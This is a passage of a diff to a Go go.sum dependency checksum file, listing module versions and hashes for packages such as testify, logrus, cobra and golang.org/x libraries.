github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
@@ -636,19 +618,12 @@ github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWC
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
github.com/miekg/pkcs11 v1.0.3/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
github.com/mistifyio/go-zfs v2.1.2-0.20190413222219-f784269be439+incompatible/go.mod h1:8AuVvqP/mXw1px98n46wfvcGfQ4ci2FwoAjKYxuo3Z4=
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/mitchellh/osext v0.0.0-20151018003038-5e2d6d41470f/go.mod h1:OkQIRizQZAeMln+1tSwduZz7+Af5oFlKirV/MSYes2A=
github.com/moby/locker v1.0.1/go.mod h1:S7SDdo5zpBK84bzzVlKr2V0hz+7x9hWbYC/kq7oQppc=
@@ -674,6 +649,7 @@ github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96d
github.com/ncw/swift v1.0.47/go.mod h1:23YIA4yWVnGwv2dQlN4bB7egfYX6YLn0Yo/S6zZO/ZM=
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
github.com/nxadm/tail v1.4.4 h1:DQuhQpB1tVlglWS2hLQ5OV6B5r8aGxSrPc5Qo6uTN78=
github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
@@ -682,11 +658,13 @@ github.com/onsi/ginkgo v0.0.0-20170829012221-11459a886d9c/go.mod h1:lLunBs/Ym6LB
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.8.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.10.3/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.12.1 h1:mFwc4LvZ0xpSvDZ3E+k8Yte0hLOMxXUlP+yXtJqkYfQ=
github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
github.com/onsi/gomega v0.0.0-20151007035656-2152b45fa28a/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=
github.com/onsi/gomega v0.0.0-20170829124025-dcabb60a477c/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=
github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
github.com/onsi/gomega v1.10.0 h1:Gwkk+PTu/nfOwNMtUB/mRUv0X7ewW5dO4AERT1ThVKo=
github.com/onsi/gomega v1.10.0/go.mod h1:Ho0h+IUsWyvy1OpqCwxlQ/21gkhVunqlU8fDGcoTdcA=
github.com/opencontainers/go-digest v0.0.0-20180430190053-c9281466c8b2/go.mod h1:cMLVZDEM3+U2I4VmLI6N8jQYUd2OVphdqWwCJHrFt2s=
github.com/opencontainers/go-digest v1.0.0-rc1/go.mod h1:cMLVZDEM3+U2I4VmLI6N8jQYUd2OVphdqWwCJHrFt2s=
@@ -703,7 +681,6 @@ github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mo
github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo=
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
github.com/pelletier/go-toml v1.8.1/go.mod h1:T2/BmBdy8dvIRq1a/8aqjN41wvWlN4lrapLU/GW4pbc=
@@ -712,11 +689,10 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
github.com/pquerna/cachecontrol v0.0.0-20171018203845-0dec1b30a021/go.mod h1:prYjPmNq4d1NPVmpShWobRqXY3q7Vp+80DqgxxUrUIA=
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
@@ -749,6 +725,9 @@ github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1
github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
@@ -756,10 +735,9 @@ github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU=
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/safchain/ethtool v0.0.0-20190326074333-42ed695e3de8/go.mod h1:Z0q5wiBQGYcxhMZ6gUqHn6pYNLypFAvaL3UvgZLR0U4=
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
github.com/seccomp/libseccomp-golang v0.9.1/go.mod h1:GbW5+tmTXfcxTToHLXlScSlAvWlF4P2Ca7zGrPiEpWo=
github.com/shirou/gopsutil/v3 v3.21.10 h1:flTg1DrnV/UVrBqjLgVgDJzx6lf+91rC64/dBHmO2IA=
github.com/shirou/gopsutil/v3 v3.21.10/go.mod h1:t75NhzCZ/dYyPQjyQmrAYP6c8+LCdFANeBMdLPCNnew=
@@ -772,11 +750,10 @@ github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPx
github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE=
github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
github.com/smartystreets/goconvey v0.0.0-20190330032615-68dc04aab96a/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
@@ -784,8 +761,8 @@ github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTd
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ=
github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE=
github.com/spf13/cobra v1.1.1 h1:KfztREH0tPxJJ+geloSLaAkaPkr4ki2Er5quFV1TDo4=
github.com/spf13/cobra v1.1.1/go.mod h1:WnodtKOvamDL/PwE2M4iKs8aMDBZ5Q5klgD3qfVJQMI=
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
@@ -793,7 +770,6 @@ github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnIn
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE=
github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg=
github.com/stefanberger/go-pkcs11uri v0.0.0-20201008174630-78d3cae3a980/go.mod h1:AO3tvPzVZ/ayst6UlUKUv6rcPQInYe3IknH3jYhAKu8=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
@@ -808,9 +784,9 @@ github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
github.com/syndtr/gocapability v0.0.0-20180916011248-d98352740cb2/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww=
github.com/tchap/go-patricia v2.2.6+incompatible/go.mod h1:bmLyhP68RS6kStMGxByiQ23RP/odRBOTVjwp2cDyi6I=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
@@ -872,7 +848,6 @@ go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM=
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20181009213950-7c1a557ab941/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190211182817-74369b46fc67/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
@@ -940,7 +915,6 @@ golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73r
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181005035420-146acd28ed58/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181011144130-49bb7cea24b1/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -1016,12 +990,9 @@ golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cO
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20170830134202-bb24a47a89ea/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190209173611-3b5209105503/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -1109,10 +1080,14 @@ golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/text v0.0.0-20160726164857-2910a502d2bf/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
@@ -1156,7 +1131,6 @@ golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
@@ -1343,11 +1317,11 @@ gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMy
gopkg.in/gemnasium/logrus-airbrake-hook.v2 v2.1.2/go.mod h1:Xk6kEKp8OKb+X14hQBKWaSkCsqBpgog8nAV2xsGOxlo=
gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k=
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
gopkg.in/square/go-jose.v2 v2.3.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
gopkg.in/square/go-jose.v2 v2.5.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
@@ -1356,6 +1330,8 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
